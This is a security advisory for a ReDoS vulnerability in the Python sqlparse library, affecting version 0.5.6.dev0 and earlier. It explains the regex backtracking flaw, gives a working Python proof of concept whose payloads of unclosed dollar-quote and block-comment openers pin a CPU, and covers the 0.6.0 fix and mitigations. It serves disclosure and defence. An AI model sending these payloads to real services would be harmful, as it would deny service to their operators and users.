high · 7.5CVE-2026-59893Aug 17, 2026

CVE-2026-59893: sqlparse ReDoS via Dollar-Quoted and Multiline-Comment Regexes

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted SQL string containing many unclosed dollar-quote or block-comment openers can force sqlparse's lexer into O(n²) regex backtracking, pinning a CPU core and denying service to every other…

Packagesqlparse
Ecosystempip
Affected<= 0.5.6.dev0
Fixed in0.6.0
CVE-2026-59893: sqlparse ReDoS via Dollar-Quoted and Multiline-Comment Regexes

The problem

sqlparse's lexer in keywords.py registers three regex patterns with lazy dot-all quantifiers: one for dollar-quoted literals ($tag$...$tag$) using a backreference \1, and two for multiline comments (/*...*/). The lexer retries every pattern at every character position.

When N unique, never-closed openers appear in the input (e.g. $a0$x $a1$x ... or /*x /*x ...), each opener forces the regex engine to scan the entire remaining string before concluding no match exists. That produces O(N²) total work, enough to pin a CPU core with under 20 KB of input.

No authentication or special privileges are required.

Proof of concept

A working proof-of-concept for CVE-2026-59893 in sqlparse, with the exact payload below.

python
import time, sqlparse

# Vector 1: dollar-quoted literals (keywords.py:33, backreference \1)
def dollar_payload(n):
    return " ".join(f"$a{i}$x" for i in range(n))

# Vector 2: multiline comments (keywords.py:20-23, lazy .*? + unclosed opener)
def comment_payload(n):
    return "/*x " * n

print("-- Dollar-quote vector --")
for n in [250, 500, 1000, 2000]:
    p = dollar_payload(n)
    t = time.perf_counter()
    sqlparse.parse(p)
    print(f"n={n:>5}  bytes={len(p):>6}  elapsed={time.perf_counter()-t:.3f}s")

print("\n-- Multiline-comment vector --")
for n in [2000, 4000, 8000, 16000]:
    p = comment_payload(n)
    t = time.perf_counter()
    sqlparse.parse(p)
    print(f"n={n:>5}  bytes={len(p):>6}  elapsed={time.perf_counter()-t:.3f}s")

For the dollar-quote pattern, the backreference \1 compels the engine to search the full remaining input for every unique unmatched tag. With N openers the total regex work is 1+2+…+N = O(N²). The multiline-comment patterns share the same defect class: the lexer retries /*[\s\S]*?\*/ at every position, so N unclosed /*x tokens also cost O(N²), even without a backreference.

The MAX_GROUPING_TOKENS guard in grouping.py fires only after lexing completes and provides no protection. The fix in 0.6.0 (commit d1d806) replaces the backtracking regexes with a deterministic two-pass approach: re.finditer locates all delimiter positions first, then open/close pairs are resolved in linear time, eliminating catastrophic backtracking entirely (CWE-1333).

The fix

Upgrade sqlparse to 0.6.0 or later (pip install --upgrade sqlparse). The fix is in commit d1d80602741f77ec78e5a04ce4719244cf32352e. If an immediate upgrade is not possible, reject or truncate SQL input before passing it to sqlparse, and do not expose sqlparse.parse(), sqlparse.format(), or sqlparse.split() to unvalidated user-controlled input.

Reported by @7thParkk (multiline-comment variant, GHSA-3crh-2448-7855).

References: [1][2][3]

Related research